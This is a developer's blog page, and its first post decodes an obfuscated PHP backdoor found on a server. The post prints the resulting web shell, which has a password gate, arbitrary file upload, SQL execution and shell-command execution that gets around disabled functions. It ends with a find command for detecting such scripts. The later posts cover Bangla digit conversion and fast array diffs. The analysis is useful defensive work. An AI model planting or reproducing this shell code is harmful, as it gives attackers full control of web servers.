De-obfuscate a backdoor PHP script

Today (almost 1 hour ago) I got an script encoded. At first look I though its one of those wordpress footer files which are obfuscated by theme makers.  So I started to decode it. The process of decoding is very simple. Mainly by replacing “eval” with “echo”.  I am not gonna describe the detailed process.

I use this code to decode it.

$contents = file_get_contents("php://stdin");$create_function = '\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e';
$base64_decode ='\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65';
if(strpos($contents, $create_function)!==false){
        echo "create_function() invocation found! \n";
        if(strpos($contents, $base64_decode)!==false){
                echo "base64_decode() invocation found! \n";

// finding base64 pattern

preg_match('/"([a-zA-Z0-9\/+]{500,}[=]{0,2})"/', $contents, $m);
$data = base64_decode($m[1]);
eval(str_replace('eval', 'echo', $data));

And here is the result.

error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0")
if ($_POST["p"] != "") {
        $_COOKIE["p"] = $_POST["p"];
        setcookie("p", $_POST["p"], time() + 3600);

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
        echo "<form method=post>";
        echo "<input type=text name=p value='' size=50>";
        echo "<input type=submit name=B_SUBMIT value='Check'>";
        echo "</form>";

if ($_POST["action"] == "upload") {

    if ($newpath!="") move_uploaded_file($l,$newpath);
    echo "done";

} else if ($_POST["action"] == "sql") {

    $query = $_POST["query"];
    $query = str_replace("\'","'",$query);
    $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
    mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
    mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
    echo "done<br><pre>$query</pre>";

} else if ($_POST["action"] == "runphp") {


} else {

    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc)) {
        $disablefunc = str_replace(" ","",$disablefunc);
        $disablefunc = explode(",",$disablefunc);
    } else $disablefunc = array();

    function myshellexec($cmd) {
        global $disablefunc;
        $result = "";
        if (!empty($cmd)) {
            if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);}
            elseif (($result = `$cmd`) !== FALSE) {}
            elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_resource($fp = @popen($cmd,"r"))) {
                $result = "";
                while(!feof($fp)) {$result .= @fread($fp,1024);}
        return $result;
        $cmd = stripslashes($_POST["cmd"]);
        $cmd_enc = stripslashes($_POST["cmd_enc"]);
        if ($_POST["enc"]==1){
<script language=javascript type="text/javascript">
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
function readBase64(){
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    return c;
function encodeBase64(str){
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
    return result;
function encodeIt(f){

    echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
    echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
    echo "<input type=hidden name=enc value='0'>";
    echo "<input type=hidden name=cmd_enc value=''>";
    echo "<input type=submit name=B_SUBMIT value='Go'>";
    echo "</form>";
    if ($cmd != "") {
        echo "<pre>";
        echo "Executing $cmd \n";
        echo myshellexec("$cmd");
        echo "</pre>";

If you look at the code carefully, you’ll notice its a backdoor.

  • It can upload arbitrary files
  • It can execute mysql quries
  • Its can shell command
If you want to check if your  server has such script  run the following command in shell in your web root.
find . -iname '*.php' -size 28k -exec egrep '\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e' -o {} \;

Here “\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e” is hex encoded “create_function” string. This is a PHP function that creates function dynamically from string.

Convert numbers from English to Bangla

Today Ayon came up  with a problem that he needs to convert English digits to Bangla. The Input would be something like “1 ডলার = 81.55 টাকা” and the output should be “১ ডলার = ৮১.৫৫ টাকা”. How to do it?

Its very easy to do. In fact most developers will be able to do it within few minutes. I just want to share my solution.

I use PHP’s str_replace function.

$output = str_replace(range(0, 9),$bn_digits, $input); 

Thats it. You can wrap it with a function and re use it.

Fastest way to find difference of very large PHP arrays

You have 2 arrays and you want to find the differences. How do you do that?

Using array_diff. Obviously using array_diff. But array_diff works well on small arrays. How about large arrays. Say arrays with elements more than 2 millions! If you ever have to find array difference in php for large array you’d find array_diff is painfully slow. Today I had to do the same thing.

I had 2 arrays of integers. In fact they are mobile numbers. I needed to find the difference of these 2 lists. Each list contained almost 2.5 millions of element. When I invoke the array_dif solution it took more than 20 minutes. And then I had to press Ctrl+C. As I am working with large arrays, I was equipped with huge memory. I started php with 4 gigabytes of memory. So the following option.

 php -d memory_limit=4G

So I thought to improve it a little. I flip both arrays and find differneces using array_diff_key. It took about 10 seconds. What a surprise.  Why it took so little time? Because flipping an array made its values as keys. So earlier when I was searching for values, it becomes a search for keys. And keys are hash now. Searching hash is not a big deal. So the speed boost. Here is the code.

function flip_array_diff_key($b, $a) {
$at = array_flip($a);
$bt = array_flip($b);
$d = array_diff_key($bt, $at);
return array_keys($d);

Its a small function. Only problem is I had to call array_* functions too many times.  So I modified it a little. I flipped both arrays as I had to use array_diff_keys function. If I hadn’t used array_diff_keys  may be I’d do this,

function flip_isset_diff($b, $a) {
$at = array_flip($a);
$d = array();
foreach ($b as $i)
if (!isset($at[$i]))
$d[] = $i;
return $d;

See, Its just one call to array_flip.

And here is a complete custom way to achieve this.

function large_array_diff($b, $a) {
$at = array();
foreach ($a as $i)
$at[$i] = 1;

$d = array();

foreach ($b as $i)
if (!isset($at[$i]))
$d[] = $i;

return $d;

I create a benchmark script to compare all these methods. When I run it the result was a surprise.

Name                            Execution Time (sec)
Complete Custom                 7.122
Flip one and isset              5.450
Flip both and array_diff_key    9.915

I thought using array_* would be the fastest as I was using all PHPs native extensions. But no Its the slowest. The solution with one single call to array_filp seems the fastest. And surprisingly the complete custom solution is in the middle while It seems it’d be slowest.

In the conclusion I’d say, try to use as much as language construct as possible. But when It comes to a time consuming function use a native extension.